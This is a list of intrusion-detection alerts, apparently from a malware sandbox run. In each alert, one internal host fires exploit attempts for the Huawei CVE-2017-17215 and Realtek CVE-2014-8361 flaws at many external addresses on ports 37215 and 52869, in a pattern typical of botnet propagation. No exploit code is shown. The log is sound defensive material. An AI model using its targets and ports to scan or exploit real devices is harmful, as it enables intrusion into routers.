ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.248.228.18

Timestamp:	07/20/24-23:01:34.045144
SID:	2829579
Source Port:	51684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 78.39.181.117

Timestamp:	07/20/24-23:01:08.659435
SID:	2831300
Source Port:	51832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 58.25.190.68

Timestamp:	07/20/24-23:01:42.637859
SID:	2025132
Source Port:	39736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.94.222.156

Timestamp:	07/20/24-23:01:53.581574
SID:	2025132
Source Port:	55926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.134.100.161

Timestamp:	07/20/24-23:01:06.989167
SID:	2835222
Source Port:	54882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.130.132.139

Timestamp:	07/20/24-23:01:08.589759
SID:	2027339
Source Port:	35948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.42.191.231

Timestamp:	07/20/24-23:01:42.115230
SID:	2027339
Source Port:	48868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.14.168.150

Timestamp:	07/20/24-23:01:31.591880
SID:	2831300
Source Port:	50890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.28.185.96

Timestamp:	07/20/24-23:01:00.633642
SID:	2829579
Source Port:	42434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.124.94.237

Timestamp:	07/20/24-23:01:08.559170
SID:	2027339
Source Port:	47126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.149.48.241

Timestamp:	07/20/24-23:01:40.286738
SID:	2829579
Source Port:	54904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 192.80.253.11

Timestamp:	07/20/24-23:01:27.653586
SID:	2835222
Source Port:	33690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 171.136.141.166

Timestamp:	07/20/24-23:01:07.022763
SID:	2835222
Source Port:	57968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.100.122.131

Timestamp:	07/20/24-23:01:43.874054
SID:	2831300
Source Port:	37088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.136.148.80

Timestamp:	07/20/24-23:01:50.147840
SID:	2025132
Source Port:	34522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.203.252.98

Timestamp:	07/20/24-23:01:42.839255
SID:	2027339
Source Port:	51086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 181.111.14.150

Timestamp:	07/20/24-23:01:25.263099
SID:	2025132
Source Port:	33996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.0.173.57

Timestamp:	07/20/24-23:01:43.965131
SID:	2025132
Source Port:	41790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 58.43.60.192

Timestamp:	07/20/24-23:01:41.295497
SID:	2025132
Source Port:	36678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.59.254.237

Timestamp:	07/20/24-23:01:42.704900
SID:	2831300
Source Port:	56180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.101.151.97

Timestamp:	07/20/24-23:01:55.974605
SID:	2027339
Source Port:	53306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.169.174.111

Timestamp:	07/20/24-23:01:46.817503
SID:	2027339
Source Port:	39336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.8.175.218

Timestamp:	07/20/24-23:01:44.680845
SID:	2831300
Source Port:	46268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.184.161.191

Timestamp:	07/20/24-23:01:44.757783
SID:	2831300
Source Port:	45030
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.216.198.203

Timestamp:	07/20/24-23:01:43.946478
SID:	2027339
Source Port:	51148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.66.181.144

Timestamp:	07/20/24-23:01:51.290015
SID:	2027339
Source Port:	43800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.79.139.138

Timestamp:	07/20/24-23:01:02.113054
SID:	2829579
Source Port:	35512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.236.178.97

Timestamp:	07/20/24-23:01:11.816504
SID:	2835222
Source Port:	53168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.76.102.214

Timestamp:	07/20/24-23:01:10.491660
SID:	2027339
Source Port:	39696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.251.31.217

Timestamp:	07/20/24-23:00:59.204975
SID:	2829579
Source Port:	48742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.246.10.144

Timestamp:	07/20/24-23:01:50.085627
SID:	2025132
Source Port:	42686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.130.15.144

Timestamp:	07/20/24-23:01:46.308516
SID:	2025132
Source Port:	54334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.216.95.45

Timestamp:	07/20/24-23:02:00.856771
SID:	2027339
Source Port:	42370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 162.118.10.225

Timestamp:	07/20/24-23:01:07.018425
SID:	2829579
Source Port:	59276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.202.95.80

Timestamp:	07/20/24-23:01:20.169339
SID:	2829579
Source Port:	33182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.89.86.7

Timestamp:	07/20/24-23:01:40.322860
SID:	2835222
Source Port:	48070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.83.122

Timestamp:	07/20/24-23:00:57.221790
SID:	2835222
Source Port:	53842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.229.67.72

Timestamp:	07/20/24-23:01:42.641430
SID:	2027339
Source Port:	33448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 78.241.170.132

Timestamp:	07/20/24-23:01:46.113314
SID:	2831300
Source Port:	34652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.204.232.202

Timestamp:	07/20/24-23:01:52.041756
SID:	2025132
Source Port:	36888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.203.104.16

Timestamp:	07/20/24-23:01:47.092270
SID:	2025132
Source Port:	54620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 222.180.112.139

Timestamp:	07/20/24-23:01:27.650975
SID:	2835222
Source Port:	35764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.53.132.35

Timestamp:	07/20/24-23:01:44.602822
SID:	2027339
Source Port:	57726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 125.81.157.125

Timestamp:	07/20/24-23:01:34.043969
SID:	2829579
Source Port:	49582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.250.7.213

Timestamp:	07/20/24-23:01:45.104633
SID:	2027339
Source Port:	37702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.112.16

Timestamp:	07/20/24-23:01:27.649996
SID:	2829579
Source Port:	42010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.227.14.32

Timestamp:	07/20/24-23:01:04.747554
SID:	2027339
Source Port:	57824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.66.151.191

Timestamp:	07/20/24-23:01:43.938688
SID:	2027339
Source Port:	49812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 175.65.204.131

Timestamp:	07/20/24-23:01:58.028191
SID:	2831300
Source Port:	40478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.76.49.30

Timestamp:	07/20/24-23:01:08.683685
SID:	2027339
Source Port:	33344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.207.171.251

Timestamp:	07/20/24-23:01:31.979752
SID:	2835222
Source Port:	48092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 200.250.178.79

Timestamp:	07/20/24-23:01:52.625240
SID:	2025132
Source Port:	49526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.200.152.219

Timestamp:	07/20/24-23:01:14.100332
SID:	2829579
Source Port:	58066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.234.70.152

Timestamp:	07/20/24-23:01:20.098209
SID:	2835222
Source Port:	49382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 198.93.236.85

Timestamp:	07/20/24-23:02:20.374641
SID:	2025132
Source Port:	41736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.70.111.204

Timestamp:	07/20/24-23:01:04.773524
SID:	2025132
Source Port:	39008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.114.72.114

Timestamp:	07/20/24-23:01:08.686799
SID:	2027339
Source Port:	36000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.139.101.249

Timestamp:	07/20/24-23:01:11.828422
SID:	2835222
Source Port:	38350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.143.86.166

Timestamp:	07/20/24-23:01:49.138222
SID:	2831300
Source Port:	38704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.147.43.148

Timestamp:	07/20/24-23:01:11.816294
SID:	2829579
Source Port:	46590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.15.94.102

Timestamp:	07/20/24-23:01:20.096752
SID:	2835222
Source Port:	40856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.249.169.230

Timestamp:	07/20/24-23:01:44.954688
SID:	2831300
Source Port:	50170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.11.202

Timestamp:	07/20/24-23:01:07.062666
SID:	2829579
Source Port:	48206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 141.24.192.29

Timestamp:	07/20/24-23:01:20.132103
SID:	2829579
Source Port:	35824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.2.133.89

Timestamp:	07/20/24-23:01:08.663245
SID:	2027339
Source Port:	37190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.228.70.58

Timestamp:	07/20/24-23:01:26.156407
SID:	2027339
Source Port:	38898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.91.194.150

Timestamp:	07/20/24-23:01:44.007374
SID:	2025132
Source Port:	39942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.89.108.63

Timestamp:	07/20/24-23:00:57.222207
SID:	2835222
Source Port:	34718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.84.241.246

Timestamp:	07/20/24-23:01:42.509004
SID:	2831300
Source Port:	49594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.221.227

Timestamp:	07/20/24-23:01:04.031511
SID:	2835222
Source Port:	44118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.20.116.108

Timestamp:	07/20/24-23:01:41.275004
SID:	2025132
Source Port:	59572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.128.152.66

Timestamp:	07/20/24-23:01:06.990165
SID:	2829579
Source Port:	45840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.166.228.6

Timestamp:	07/20/24-23:01:31.979565
SID:	2829579
Source Port:	53294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.183.204.254

Timestamp:	07/20/24-23:01:40.336908
SID:	2835222
Source Port:	49188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.174.164.32

Timestamp:	07/20/24-23:01:42.943881
SID:	2027339
Source Port:	53742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.33.93

Timestamp:	07/20/24-23:01:00.635367
SID:	2829579
Source Port:	60530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.28.206.33

Timestamp:	07/20/24-23:01:27.749737
SID:	2835222
Source Port:	43122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.35.187.229

Timestamp:	07/20/24-23:01:49.356902
SID:	2025132
Source Port:	39898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 61.117.29.155

Timestamp:	07/20/24-23:00:57.221802
SID:	2829579
Source Port:	43520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.81.102.7

Timestamp:	07/20/24-23:01:25.347089
SID:	2027339
Source Port:	45246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.78.161.123

Timestamp:	07/20/24-23:01:59.745622
SID:	2025132
Source Port:	38058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.168.200.153

Timestamp:	07/20/24-23:02:02.387600
SID:	2025132
Source Port:	47516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.151.113.249

Timestamp:	07/20/24-23:01:44.520226
SID:	2027339
Source Port:	51562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.196.203.133

Timestamp:	07/20/24-23:01:41.494999
SID:	2025132
Source Port:	44172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.211.77.112

Timestamp:	07/20/24-23:00:59.175742
SID:	2829579
Source Port:	58932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.110.137.130

Timestamp:	07/20/24-23:01:45.298541
SID:	2025132
Source Port:	39444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 74.191.12.65

Timestamp:	07/20/24-23:01:57.434940
SID:	2831300
Source Port:	34012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.38.51.47

Timestamp:	07/20/24-23:01:06.990535
SID:	2835222
Source Port:	52666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.150.189.204

Timestamp:	07/20/24-23:01:59.377547
SID:	2027339
Source Port:	49430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.82.126.36

Timestamp:	07/20/24-23:01:42.985200
SID:	2025132
Source Port:	48044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.237.72.71

Timestamp:	07/20/24-23:01:51.743446
SID:	2027339
Source Port:	56730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.181.42.248

Timestamp:	07/20/24-23:01:03.953624
SID:	2025132
Source Port:	52432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.103.184.164

Timestamp:	07/20/24-23:01:48.386032
SID:	2027339
Source Port:	41382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.15.162.89

Timestamp:	07/20/24-23:01:43.054762
SID:	2831300
Source Port:	32944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.184.175.46

Timestamp:	07/20/24-23:01:53.625100
SID:	2831300
Source Port:	46808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.178.133.43

Timestamp:	07/20/24-23:01:14.140178
SID:	2025132
Source Port:	57756
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.33.109.223

Timestamp:	07/20/24-23:01:34.048825
SID:	2829579
Source Port:	49920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.111.26.76

Timestamp:	07/20/24-23:01:02.047411
SID:	2829579
Source Port:	43302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.111.51.3

Timestamp:	07/20/24-23:01:21.931985
SID:	2829579
Source Port:	60650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 101.122.117.242

Timestamp:	07/20/24-23:01:44.099799
SID:	2025132
Source Port:	43384
Destination Port:	52869
Protocol:	TCP
